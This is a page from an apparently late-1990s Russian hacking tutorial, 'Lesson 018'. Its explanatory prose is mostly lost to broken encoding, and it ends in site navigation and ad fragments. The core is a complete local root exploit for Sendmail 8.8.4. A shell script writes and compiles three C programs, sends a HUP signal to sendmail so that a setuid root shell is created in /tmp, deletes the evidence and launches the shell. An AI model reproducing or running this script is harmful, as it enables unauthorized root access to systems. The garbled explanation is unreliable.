2211
| | UKA.ru | Gossip.ru | ! | massovka | vaticancitystate.ru | From 24.11.97
Lesson 018
----------

: sendmail v.8.8.4 -  root shell.

Explot      ,    
     ftp   phf ;)
   account     (  ) 
     ;).  explots    
(   ;)    root . 

 explot   Sendmail v.8.8.4
  suid  /tmp/x     root.  -
    :

cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
 #include
 main()
 {
    execl(RUN,RUN,NULL);
 }
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
 main()
 {
   execl("/usr/lib/sendmail","/tmp/smtpd",0);      
 }                                             
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
 main()
 {
   setuid(0); setgid(0); 
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
 }
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi 

PS. Thanx to Psychotic and Sean B. HamorFor

123123
| | UKA.ru | Gossip.ru | lib.uka.ru | Flash memory: SD, MMC, miniSD, CF | From 24.11.97

(15 )

(13 )


VAZHNO.RU
. . Paypal . !

(15 )

(13 )


VAZHNO.RU
uka.ru